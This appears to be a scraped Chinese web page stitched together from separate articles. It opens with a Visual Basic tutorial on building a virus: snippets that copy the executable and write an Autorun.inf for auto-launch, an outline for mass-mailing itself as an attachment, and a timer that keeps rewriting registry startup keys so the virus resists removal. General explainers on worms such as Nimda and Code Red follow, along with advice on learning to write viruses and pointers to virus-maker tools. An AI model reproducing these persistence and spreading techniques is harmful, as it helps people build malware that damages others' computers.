FileCopy a, "C:病毒.exe"

Open "Autorun.inf" For Output As #1

Print #1, "[autorun]"

Print #1, "OPEN=病毒.exe"

Close #1

这样就实现了双击C盘启动病毒的作用。

下面说一下病毒的传播，病毒的传播可以说是八仙过海。主要的传播方式就是电子邮件传播，远程溢出等。

远程溢出这里不做详解。第一是我不太熟练，只会用，不会说。第二是要讲清楚很麻烦。所以，我讲一下电子邮件传播。

首先，建立一个WINSOCKE。然后利用编程来实现。这里只说思路。

ConnectToServer Server, Winsock1 ‘这是向服务器建立连接

SendMail FromAddress, ToAddress, Subject, Body, Winsock1, Attach ‘发送邮件

FromAddress 发件人地址

ToAddress 收件人地址

Subject 邮件标题

Body 邮件内容

Attach 附件地址

利用这样的原理来群发，可以达到传播自己的目的。

还有一种就是U盘/A盘传播，原理上面已经说过。利用Autorun.inf文件，这里就不废话了。

说了这么多，还剩最后一点，那就是破坏性。这个就不详细阐述。什么自动关机，无限增殖。大家自己发挥想象，这不是很难的事。

最后总结，一个什么样的病毒，它必须生活在特定的操作系统下。所以，病毒做出来后，不一定能在什么操作系统下都能用。还有一点，病毒必须能自己保护自己。 这里推荐使用TIMER。利用这个部件来不断的写注册表。这样，很难删掉病毒的启动键值。还要保护自身的增殖文件。比如：

Let a = App.Path + "" + App.EXEName + ".exe"

If Dir("C:Program Files病毒.exe") <> "" Then

Else: FileCopy a, "C:Program Files病毒.exe"

最后，还有最重要的一点。那就是容错语句。尽量多加。以防万一。

看了此文电脑病毒制作

蠕虫病毒是一种常见的计算机病毒。它是利用网络进行复制和传播，传染途径是通过网络和电子邮件。最初的蠕虫病毒定义是因为在DOS环境下，病毒发作时会在屏幕上出现一条类似虫子的东西，胡乱吞吃屏幕上的字母并将其改形。

怎样制作电脑蠕虫病毒是自包含的程序(或是一套程序),它能传播它自身功能的拷贝或它(蠕虫病毒)的某些部分到其他的计算机系统中(通常是经过网络连接)。请注意，与一般病毒不同，蠕虫不需要将其自身附着到宿主程序，它是一种独立智能程序。有两种类型的蠕虫：主机蠕虫与网络蠕虫。主计算机蠕虫完全包含(侵占)在它们运行的计算机中，并且使用网络的连接仅将自身拷贝到其他的计算机中，主计算机蠕虫在将其自身的拷贝加入到另外的主机后，就会终止它自身(因此在任意给定的时刻，只有一个蠕虫的拷贝运行)，这种蠕虫有时也叫"野兔"，蠕虫病毒一般是通过1434端口漏洞传播。

比如近几年危害很大的“尼姆亚”病毒就是蠕虫病毒的一种,去年春天流行“熊猫烧香”以及其变种也是蠕虫病毒。这一病毒利用了微软视窗操作系统的漏洞，计算机感染这一病毒后，会不断自动拨号上网，并利用文件中的地址信息或者网络共享进行传播，最终破坏用户的大部分重要数据。 蠕虫病毒的一般防治方法是：使用具有实时监控功能的杀毒软件，并且注意不要轻易打开不熟悉的邮件附件。蠕虫是怎么发作的? 如何采取有效措施防范蠕虫?

一、利用操作系统和应用程序的漏洞主动进行攻击蠕虫病毒主要是“红色代码”和“尼姆亚”，以及至今依然肆虐的”求职信”等。由于IE浏览器的漏洞(IFRAME EXECCOMMAND)，使得感染了“尼姆亚”病毒的邮件在不去手工打开附件的情况下病毒就能激活，而此前即便是很多防病毒专家也一直认为，带有病毒附件的邮件，只要不去打开附件，病毒不会有危害。“红色代码”是利用了微软IIS服务器软件的漏洞(idq.dll远程缓存区溢出)来传播，SQL蠕虫王病毒则是利用了微软的数据库系统的一个漏洞进行大肆攻击。

二、传播方式多样如“尼姆亚”病毒和”求职信”病毒，可利用的传播途径包括文件、电子邮件、Web服务器、网络共享等等。

三、病毒制作技术新与传统的病毒不同的是，许多新病毒是利用当前最新的编程语言与编程技术实现的，易于修改以产生新的变种，从而逃避反病毒软件的搜索。另外，新病毒利用Java、ActiveX、VB Script等技术，可以潜伏在HTML页面里，在上网浏览时触发。

四、与黑客技术相结合，潜在的威胁和损失更大以红色代码为例，感染后的机器的web目录的scripts下将生成一个root.exe，可以远程执行任何命令，从而使黑客能够再次进入。蠕虫和普通病毒不同的一个特征是蠕虫病毒往往能够利用漏洞，这里的漏洞或者说是缺陷，可以分为两种，即软件上的缺陷和人为的缺陷。软件上的缺陷，如远程溢出、微软IE和Outlook的自动执行漏洞等等，需要软件厂商和用户共同配合，不断地升级软件。而人为的缺陷，主要指的是计算机用户的疏忽。这就是所谓的社会工程学(social engineering)，当收到一封邮件带着病毒的求职信邮件时候，大多数人都会抱着好奇去点击的。对于企业用户来说，威胁主要集中在服务器和大型应用软件的安全上，而对个人用户而言，主要是防范第二种缺陷。

五、对个人用户产生直接威胁的蠕虫病毒在以上分析的蠕虫病毒中，只对安装了特定的微软组件的系统进行攻击，而对广大个人用户而言，是不会安装IIS(微软的因特网服务器程序，可以允许在网上提供web服务)或者是庞大的数据库系统的。因此，上述病毒并不会直接攻击个个人用户的电脑(当然能够间接的通过网络产生影响)。但接下来分析的蠕虫病毒，则是对个人用户威胁最大，同时也是最难以根除，造成的损失也更大的一类蠕虫病毒。

近几年来，网络上先后出现了熊猫烧香、绑架犯等电脑病毒，都或多或少的影响到了大家的正常生活，波及面非常广。那么电脑病毒到底是什么?电脑病毒的危害究竟是什么呢?读文网小编在这里给大家详细介绍。

电脑病毒的制作原理

电脑病毒在实际生活中，主要的感染方式有感染可执行文件、感染引导区和感染文档文件，并且通过这三种感染方式来划分出三种病毒。在我们现阶段的的杀毒软件中，常用的反病毒技术主要有特征码扫描、云杀毒、虚拟机技术和主动防御技术，这些技术给予防病毒软件能力对木马等电脑病毒进行清除防御。

其次如果你想学习制作电脑病毒 你就需要学习计算机语言中的汇编语言和C语言，因为一个简单的电脑病毒编写绝大多数代码都可以用这两种语言来完成。在编写电脑病毒时，我们还需要对电脑的结构和运行过程等方面有一定了解，这样才能让电脑病毒制作更加成功。如果你对这些基础都不牢固也有办法，现在网络上有一些简单的病毒制造机，也就是一类病毒编写软件，你可以试试。

电脑病毒制作视频?今天读文网小编要跟大家介绍下电脑病毒制作视频，下面就是读文网小编为大家整理到的视频，请大家认真看看!

电脑病毒制作视频（VOL.203电脑病毒）